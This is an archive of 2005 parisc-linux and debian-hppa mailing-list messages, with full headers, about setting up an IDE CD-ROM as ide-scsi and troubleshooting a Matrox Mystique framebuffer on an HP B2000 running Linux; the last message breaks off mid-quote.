NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:14 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 07:15:52 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx052) with SMTP; 05 Jul 2005 09:15:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A0C422EB03; Tue,  5 Jul 2005 02:15:50 -0500 (CDT)
Old-Return-Path: <jllee@singnet.com.sg>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from northgate.starhub.net.sg (northgate.starhub.net.sg [203.117.1.53])
	by murphy.debian.org (Postfix) with ESMTP id 163E52DE55
	for <debian-hppa@lists.debian.org>; Tue,  5 Jul 2005 02:15:43 -0500 (CDT)
Original-Received: from hpxphome.singnet.com.sg (cm1.gamma92.maxonline.com.sg [202.156.92.1])
	by northgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j657FWmp003762;
	Tue, 5 Jul 2005 15:15:41 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.3 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <t-ElP.A.ZZC.mOjyCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4643
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  5 Jul 2005 02:15:50 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: /1a4YoVNeSEkRr6WZHQhaXN1IGRvbwBI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22873

Hi,

I have seen several postings mentioning about IDE CD-ROM drives crash the 
HPPA boxes while running Linux. I myself also encoutered it repeatedly of 
late after succesfully trying various ways to go round it. Thanks to Max 
Grabert's help, I have now set it up as IDE-SCSI CD-ROM drive and it seems 
to be holding steady so far without me having to try some tricks as before.

If you are interested, followings are what I have done to set up the IDE 
CD-ROM as IDE-SCSI CD-ROM under the patient guidance of Max Grabert:

1) Run 'make menuconfig' (or equivalent), select 'Device drivers -> 
ATA/ATAPI/MFM/RLL support -> SCSI emulation support' to compile as module 
(or into kernel if you prefer);

2) In the same 'make menuconfig' (or equivalent), deselect 'Device drivers 
-> ATA/ATAPI/MFM/RLL support -> Include IDE/ATAPI CDROM support' if it is 
selected;

3) In the same 'make menuconfig' (or equivalent), make sure that required 
CD-ROM file systems are selected under the 'File Systems',

4) Edit palo config file '/etc/palo.conf' to add 'hda=ide-scsi'  at the end 
of the command line entry (the 1st entry);

5) Recompiled the kernel;

6) Run /sbin/palo;

7) If you compile any of the the above drivers as modules, please make sure 
they are also loaded on boot by adding the following lines into /etc/modules:

iso9660
udf
ns87415
ide-scsi
sg
sr_mod

8) Reboot.

Remember from now on your IDE CD-ROM drive will be known as /dev/scdX. 
/dev/scd0 in my case.

Rgds,
Lee

ps. Any downside in setting up IDE CD-ROM as IDE-SCSI CD-ROM?

pps. You might see the following msg but I believe it is harmless:

modprobe -k ide-mod options="hda=ide-scsi"
FATAL: Module ide_mod not found.


pps. You might also see the following msg: (Does 'deprecated for cd 
burning' msg mean that we can burn CDs if we have a CD/RW drive?)

ide-scsi is deprecated for cd burning! Use ide-cd and give dev=/dev/hdX as 
devicescsi1 : SCSI \ host adapter emulation for IDE ATAPI devices Vendor: 
MITSUMI   Model: CD-ROM FX4820T!B  \ Rev: F01M Type: CD-ROM ANSI SCSI 
revision: 02 sg

Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0Attached 
scsi generic sg1 at \ scsi1, channel 0, id 0, lun 0,  type 5sr0: scsi3-mmc 
drive: 48x/48x cd/rw xa/form2 cdda \ trayUniform CD-ROM driver Revision: 
3.20    sr_mod

All modules loaded.




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Setting up IDE CD-ROM on HPPA B2000
Date: Tue, 5 Jul 2005 10:08:07 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <e6eae02905070502088c7343f__38082.2682207965$1416623834$gmane$org@mail.gmail.com>
References: <5.1.1.6.1.20050705144330.02b5c6f0@pop.singnet.com.sg>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623834 15504 80.91.229.3 (22 Nov 2014 02:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 09:08:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 05 Jul 2005 11:08:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 348D47D70F;
	Tue,  5 Jul 2005 03:08:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01639-09; Tue, 5 Jul 2005 03:08:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 170257D710;
	Tue,  5 Jul 2005 03:08:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0B247D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 03:08:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01537-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jul 2005 03:08:12 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205])
	by free.linux.hp.com (Postfix) with ESMTP id 0CF227D70D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 03:08:11 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i2so926971wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 05 Jul 2005 02:08:08 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=pClE0d3+ixLpHZNtCtwILUf1EpIqEB7BxuS0KlFoF60yMTnil2aF02/IGx6G8Rv0Av2fsJgMAE/bxebqBMpDPzhIAIbtdbPq/uowtmCUcAEgD2lfDlSAUvcTeUJZlkGj5LqcpI3BDpPU5nln+r3w1bcLMS7nrDQkmkhpmk0p9zE=
Original-Received: by 10.54.128.12 with SMTP id a12mr1397402wrd;
	Tue, 05 Jul 2005 02:08:08 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Tue, 5 Jul 2005 02:08:07 -0700 (PDT)
In-Reply-To: <5.1.1.6.1.20050705144330.02b5c6f0@pop.singnet.com.sg>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XSu4YvkDeSEkfr6WZHQhaXN1IGRvbwA9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22874

On 05/07/05, J. L. Lee <jllee@singnet.com.sg> wrote:
> ps. Any downside in setting up IDE CD-ROM as IDE-SCSI CD-ROM?

Yes, DMA  is not supported in ide-scsi.
That means slower transfer rates (around 3MB/s) and higher CPU load.
If you are burning CDs/DVDs this means that it is more likely that
you will have buffer underruns and it limits how fast you can burn your CDs=
.

However ide-scsi used to have better error detection & reporting,
but I think in the last couple of months ide-cd has caught up with
ide-scsi in that repect.

Since it seems that DMA support is broken with the ns87415 IDE chipset
driver anyway it doesn't really matter whether we use ide-scsi or ide-cd
I guess.

> pps. You might see the following msg but I believe it is harmless:
>=20
> modprobe -k ide-mod options=3D"hda=3Dide-scsi"
> FATAL: Module ide_mod not found.

This is because it tries to load the generic IDE driver as a module, but
you have compiled it into the kernel statically.
This is indeed harmless.

> pps. You might also see the following msg: (Does 'deprecated for cd
> burning' msg mean that we can burn CDs if we have a CD/RW drive?)

Yes, you (still) can, but it is not recommended.
cdrecord works fine for me (as root, the usual linux >2.6.8 problem).

   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: Help wanted: Getting Matrox Mystique to run on HPPA B2000
Date: Tue, 05 Jul 2005 22:47:16 +0800
Lines: 148
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050705220226.02abcec0__28923.2091782198$1416623835$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623835 15506 80.91.229.3 (22 Nov 2014 02:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:15 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 14:47:55 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx064) with SMTP; 05 Jul 2005 16:47:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7EAE42E4CD; Tue,  5 Jul 2005 09:47:48 -0500 (CDT)
Old-Return-Path: <jllee@singnet.com.sg>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from surfgate2.starhub.net.sg (surfgate2.starhub.net.sg [203.117.3.7])
	by murphy.debian.org (Postfix) with ESMTP id 1877E2E3B8
	for <debian-hppa@lists.debian.org>; Tue,  5 Jul 2005 09:47:36 -0500 (CDT)
Original-Received: from hpxphome.singnet.com.sg (cm1.gamma92.maxonline.com.sg [202.156.92.1])
	by surfgate2.starhub.net.sg (8.12.10/8.12.10) with ESMTP id j65Eg59E020815;
	Tue, 5 Jul 2005 22:42:11 +0800
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-3.2 required=4.0 tests=AWL,IMPRONONCABLE_1,
	IMPRONONCABLE_2,LDOSUBSCRIBER,MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2 
	autolearn=no version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <1sjOdB.A.x4F.U2pyCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4646
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  5 Jul 2005 09:47:48 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: zPi4Yqd6eSEkMr6WZHQhaXN1IGRvb4B8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22875

Hi,

I have set up Matrox Millennum II on B2000 running Linux 2.6.12-rc6-pa1 
kernel. Am now trying to set up Matrox Mystique to run on it too.

In my first attempt I compiled the "Matrox acceleration" as MODULE with 
"Millennium I/II support" and "Mystique support" compiled into the KERNEL 
(they are not "module" selectable). After rebooting, 'matroxfb' was not 
loaded automatically. Executed a command "modprobe matroxfb" it returned an 
error msg "FATAL: Module matroxfb not found".

Recompiled the second time with "Matrox acceleration", "Millennium I/II 
support" and "Mystique support" all compiled into the KERNEL. Rebooted 
successfully but the Mystique card was not initialized nor the kernel 
crashes as it did running Linux 2.6.8.

The relevant boot msgs are as follows: (3 extra 'printk' s were added to 
drivers/video/matrox/matroxfb_base.h before kernel recompilation so there 
are extra outputs)


STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at fd820000 (128 kB), fb at fb000000 (16 MB)
     id 35acda16-9a02587, conforms to spec rev. 8.0c
     graphics card name: HPA4982A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
matroxfb: Matrox Mystique (PCI) detected
mga_ioremap: phys=4253024256 size=16384 flags=1 virt=104f49e0 
virt->vaddr=fd800000
mga_ioremap: phys=4244635648 size=8388608 flags=1 virt=104f49cc 
virt->vaddr=fd000000
matroxfb: cannot determine memory size
mga_iounmap: before iounmap() va->vaddr=fd000000
mga_iounmap: after iounmap() va->vaddr=fd000000
mga_iounmap: before iounmap() va->vaddr=fd800000
mga_iounmap: after iounmap() va->vaddr=fd800000
matroxfb: probe of 0000:01:01.0 failed with error -1
stifb: 'HPA4982A' (id: 0x35acda16) not supported.
Generic RTC Driver v1.07


The 'lspci -v' outputs are as follows:

DebianHPPA01:~# lspci -v
0000:00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 
21142/43 (rev 41)
	Subsystem: Hewlett-Packard Company: Unknown device 104f
	Flags: bus master, medium devsel, latency 255, IRQ 66
	I/O ports at 0f00 [size=128]
	Memory at f4005000 (32-bit, non-prefetchable) [size=1K]
	Expansion ROM at f4040000 [disabled] [size=256K]

0000:00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
	Subsystem: Analog Devices AD1889 sound chip
	Flags: bus master, medium devsel, latency 255, IRQ 67
	Memory at f4009000 (32-bit, prefetchable) [size=512]
	Memory at f4008000 (32-bit, prefetchable) [size=16]
	Memory at f4007000 (32-bit, prefetchable) [size=16]
	Memory at f4006000 (32-bit, prefetchable) [size=16]
	Capabilities: [dc] Power Management version 1

0000:00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 
IDE (rev 03) (prog-if 8f [Master SecP SecO PriP PriO])
	Flags: bus master, medium devsel, latency 255, IRQ 7
	I/O ports at 0e00 [size=8]
	I/O ports at 0d00 [size=4]
	I/O ports at 0b00 [size=8]
	I/O ports at 0a00 [size=4]
	I/O ports at 0900 [size=16]

0000:00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O 
(rev 01)
	Flags: bus master, medium devsel, latency 255, IRQ 68

0000:00:0e.2 USB Controller: National Semiconductor Corporation USB 
Controller (rev 02) (prog-if 10 [OHCI])
	Flags: bus master, medium devsel, latency 240, IRQ 1
	Memory at f4004000 (32-bit, non-prefetchable) [size=4K]
	Memory at f4003000 (32-bit, non-prefetchable) [size=4K]

0000:00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a 
(rev 01)
	Subsystem: LSI Logic / Symbios Logic LSI53C895A PCI to Ultra2 SCSI Controller
	Flags: bus master, medium devsel, latency 255, IRQ 69
	I/O ports at 0800 [size=256]
	Memory at f4002000 (32-bit, non-prefetchable) [size=1K]
	Memory at f4000000 (32-bit, non-prefetchable) [size=8K]
	Capabilities: [40] Power Management version 2

0000:01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
	Subsystem: Hewlett-Packard Company: Unknown device 108c
	Flags: bus master, 66MHz, medium devsel, latency 255, IRQ 70
	Memory at fb000000 (64-bit, prefetchable) [size=16M]
	Memory at fa000000 (64-bit, non-prefetchable) [size=16M]
	Expansion ROM at fd820000 [disabled] [size=128K]

0000:01:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG 
[Mystique] (rev 02) (prog-if 00 [VGA])
	Flags: bus master, stepping, medium devsel, latency 248, IRQ 71
	Memory at fd800000 (32-bit, non-prefetchable) [size=16K]
	Memory at fd000000 (32-bit, prefetchable) [size=8M]
	Memory at f4800000 (32-bit, non-prefetchable) [size=8M]
	Expansion ROM at fd820000 [disabled] [size=64K]


The 'cat /proc/iomem' outputs are as follows:

DebianHPPA01:~# cat /proc/iomem
00000000-0fffffff : System RAM
   00000000-000009ff : PDC data (Page Zero)
   00100000-0039cfff : Kernel code
   0039d000-0050d89b : Kernel data
f05d0000-f05d0000 : lcd_data
f05d0008-f05d0008 : lcd_cmd
f4000000-f47fffff : PCI00 LMMIO
   f4000000-f4001fff : sym53c8xx
   f4002000-f40023ff : sym53c8xx
   f4004000-f4004fff : ohci_hcd
   f4005000-f40053ff : tulip
   f4009000-f40091ff : ad1889
f4800000-f4ffffff : PCI01 LMMIO
fd000000-fdffffff : PCI01 ELMMIO
fed00000-fed00fff : SBA
fed30000-fed30fff : LBA
fed32000-fed32fff : LBA
fef00000-feffffff : Astro Intr Ack
fff80000-fffaffff : Central Bus
   fffa0000-fffa0fff : CPU
fffb0000-fffdffff : Local Broadcast
fffe0000-ffffffff : Global Broadcast
DebianHPPA01:~#


Any suggestion what should I do next to see if Matrox Mytique cards are 
indeed usable on HPPA boxes.

Tks,
Lee




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted: Getting Matrox Mystique to run on
	HPPA B2000
Date: Tue, 5 Jul 2005 16:51:59 +0200
Lines: 214
Approved: news@gmane.org
Message-ID: <20050705165159.0953c3ac.gmsoft@gentoo.org>
References: <5.1.1.6.1.20050705220226.02abcec0@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0084206296=="
X-Trace: ger.gmane.org 1416623835 15513 80.91.229.3 (22 Nov 2014 02:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 14:52:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 05 Jul 2005 16:52:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B2C87D71F;
	Tue,  5 Jul 2005 08:52:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04779-09; Tue, 5 Jul 2005 08:52:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24A4E7D719;
	Tue,  5 Jul 2005 08:52:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB557D713
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 08:52:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04779-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jul 2005 08:52:37 -0600 (MDT)
Original-Received: from av-tac-bru.cisco.com (weird-brew.cisco.com [144.254.15.118])
	by free.linux.hp.com (Postfix) with ESMTP id 42CA47D712
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 08:52:37 -0600 (MDT)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-bru.cisco.com (8.11.7p1+Sun/8.11.7) with ESMTP id
	j65EqV013398; Tue, 5 Jul 2005 16:52:31 +0200 (CEST)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-91.cisco.com [144.254.7.91])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.11.7) with ESMTP id
	j65EqPF13316; Tue, 5 Jul 2005 16:52:27 +0200 (CEST)
In-Reply-To: <5.1.1.6.1.20050705220226.02abcec0@pop.singnet.com.sg>
X-Mailer: Sylpheed version 1.0.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nPu4Ytk/eSEkUb6WZHQhaXN1IGRvb0Cy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22876

--===============0084206296==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="PGP-SHA1";
	boundary="Signature=_Tue__5_Jul_2005_16_51_59_+0200_RLCkQChTb3KddQ5H"

--Signature=_Tue__5_Jul_2005_16_51_59_+0200_RLCkQChTb3KddQ5H
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


Hi,

What about=20
video=3Dmatroxfb:vesa:0x111,depth:16,mem:4,noaccel,init console=3Dtty0
passed to the kernel or something which best correspond to your vga card ?

Mine is this :
0000:02:03.0 VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG [M=
ystique] (rev 02)
and it works fine.

Guy


On Tue, 05 Jul 2005 22:47:16 +0800
"J. L. Lee" <jllee@singnet.com.sg> wrote:

> Hi,
>=20
> I have set up Matrox Millennum II on B2000 running Linux 2.6.12-rc6-pa1=20
> kernel. Am now trying to set up Matrox Mystique to run on it too.
>=20
> In my first attempt I compiled the "Matrox acceleration" as MODULE with=20
> "Millennium I/II support" and "Mystique support" compiled into the KERNEL=
=20
> (they are not "module" selectable). After rebooting, 'matroxfb' was not=20
> loaded automatically. Executed a command "modprobe matroxfb" it returned =
an=20
> error msg "FATAL: Module matroxfb not found".
>=20
> Recompiled the second time with "Matrox acceleration", "Millennium I/II=20
> support" and "Mystique support" all compiled into the KERNEL. Rebooted=20
> successfully but the Mystique card was not initialized nor the kernel=20
> crashes as it did running Linux 2.6.8.
>=20
> The relevant boot msgs are as follows: (3 extra 'printk' s were added to=
=20
> drivers/video/matrox/matroxfb_base.h before kernel recompilation so there=
=20
> are extra outputs)
>=20
>=20
> STI GSC/PCI core graphics driver Version 0.9a
> STI PCI graphic ROM found at fd820000 (128 kB), fb at fb000000 (16 MB)
>      id 35acda16-9a02587, conforms to spec rev. 8.0c
>      graphics card name: HPA4982A
> sticon: Initializing STI text console.
> Console: switching to colour STI console 160x64
> matroxfb: Matrox Mystique (PCI) detected
> mga_ioremap: phys=3D4253024256 size=3D16384 flags=3D1 virt=3D104f49e0=20
> virt->vaddr=3Dfd800000
> mga_ioremap: phys=3D4244635648 size=3D8388608 flags=3D1 virt=3D104f49cc=20
> virt->vaddr=3Dfd000000
> matroxfb: cannot determine memory size
> mga_iounmap: before iounmap() va->vaddr=3Dfd000000
> mga_iounmap: after iounmap() va->vaddr=3Dfd000000
> mga_iounmap: before iounmap() va->vaddr=3Dfd800000
> mga_iounmap: after iounmap() va->vaddr=3Dfd800000
> matroxfb: probe of 0000:01:01.0 failed with error -1
> stifb: 'HPA4982A' (id: 0x35acda16) not supported.
> Generic RTC Driver v1.07
>=20
>=20
> The 'lspci -v' outputs are as follows:
>=20
> DebianHPPA01:~# lspci -v
> 0000:00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip=20
> 21142/43 (rev 41)
> 	Subsystem: Hewlett-Packard Company: Unknown device 104f
> 	Flags: bus master, medium devsel, latency 255, IRQ 66
> 	I/O ports at 0f00 [size=3D128]
